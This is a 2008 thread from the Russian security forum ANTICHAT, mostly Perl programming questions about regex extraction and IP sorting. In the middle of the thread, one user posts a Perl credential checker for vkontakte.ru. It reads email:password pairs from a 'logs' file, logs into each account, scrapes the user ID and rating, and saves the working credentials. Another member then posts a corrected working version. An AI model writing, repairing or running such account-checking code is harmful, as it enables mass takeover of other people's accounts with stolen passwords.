ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
16.06.2008, 00:11
|
|
Познающий
Регистрация: 20.12.2007
Сообщений: 80
Провел на форуме:
497815
Репутация:
85
|
|
еп-ти заработало! все бока в этой диретиве!
хотя в скрипте использовал set_time_limit(0); но не погало (
|
|
|
16.06.2008, 06:41
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Че-то после праздников я не пойму. Заглядываю в тему по перлу - вижу обсуждение php.ini o_O
|
|
|
|
16.06.2008, 17:30
|
|
Познающий
Регистрация: 20.12.2007
Сообщений: 80
Провел на форуме:
497815
Репутация:
85
|
|
прошу прощения, просидел безвылазно за компом чуть ли не сутки вот и глюкнуло. Если можно переместите, или удлаите топики.
|
|
|
|
17.06.2008, 22:36
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541
Репутация:
214
|
|
есть некий урл
www.site.com
на котором есть некое значение 777
которое в исходно коде находится в такой строчке
<div id="value" style="width:10px;">777</div>
делаю запрос
$request = get('http://www.site.com')->as_string;
в переменной request будет исходник страницы
а вот дальше подскажите как выдрать именно значение 777 которое в <div id="value" style="width:10px;">777</div> и записаь его в переменную
я так понимаю нужно пользоваться регуляркой? |
|
|
|
17.06.2008, 23:12
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216
Репутация:
209
|
|
Будет что-то типа
PHP код:
my $variable = $1 if $request =~ m#<div id="value" style="width:10px;">(\d+)</div>#gio;
Нужное тебе значение будет в переменной $variable
Последний раз редактировалось biophreak; 17.06.2008 в 23:15..
|
|
|
|
17.06.2008, 23:43
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541
Репутация:
214
|
|
Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг
но почемуто айдишник не выдает (
где огибка?
з.Ы. Знание перла = 0.01% ыыыыыы
ногами не пинать учусь.
PHP код:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies); #Eoee ;)
open (OUT , '>>IDS.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
if (!$2)
{
print "Account deleted";# это в случае , если пользователь удалил страницу
}
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:$mail:$pass \n";
print OUT $res.":".$mail.":".$pass.":".$2."\n";
if (length($2)>1){print OUT $res.":".$mail.":".$pass.":".$2."\n";}
}
else{print"[-]bad login or password";}
}
|
|
|
|
18.06.2008, 06:53
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Учись для начала открытые файлы закрывать...
|
|
|
|
18.06.2008, 09:47
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216
Репутация:
209
|
|
Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы...
На удаленных акках не тестил 
PHP код:
#!/usr/bin/perl -s
use strict;
use warnings 'all';
use diagnostics;
use LWP::UserAgent;
use HTTP::Cookies;
open FILE, '<', 'logs.txt' or die "Cannot open logs file: $!\n";
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open OUT, '>>', 'IDS.txt' or die "Cannot open IDS file: $!\n";
while (my @f = <FILE>)
{
my ($mail, $pass) = split ':', shift @f;
chomp($pass);
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass })->as_string;
$req =~ /302 Found/;
if ($req)
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $1 if $req =~ m#<a href="http://vkontakte.ru/id(\d+)">#i;
next && print "Account $mail deleted\n" if !$id;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i;
print "[rate = $res%]:$mail:$pass\n";
print OUT $res.":".$mail.":".$pass."\n";
exit;
} else
{
print"[-]bad login or password";
}
} continue
{
close OUT;
close FILE;
}
|
|
|
|
18.06.2008, 12:10
|
|
Участник форума
Регистрация: 05.07.2006
Сообщений: 285
Провел на форуме:
3295822
Репутация:
117
|
|
Есть массив ip адресов. Его нужно отсортировать в порядке возрастания 3 и 4 октетов. Стандартная функция sort делает это так:
10.1.1.11
10.1.1.12
10.1.1.120
10.1.1.121
10.1.1.13
А требуется:
10.1.1.11
10.1.1.12
10.1.1.13
.......
10.1.1.120
10.1.1.121
|
|
|
|
18.06.2008, 12:20
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496
Репутация:
78
|
|
Не знаю есть ли функция natsort() в perl но в PHP она есть и сортирует так как тебе нужно....
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
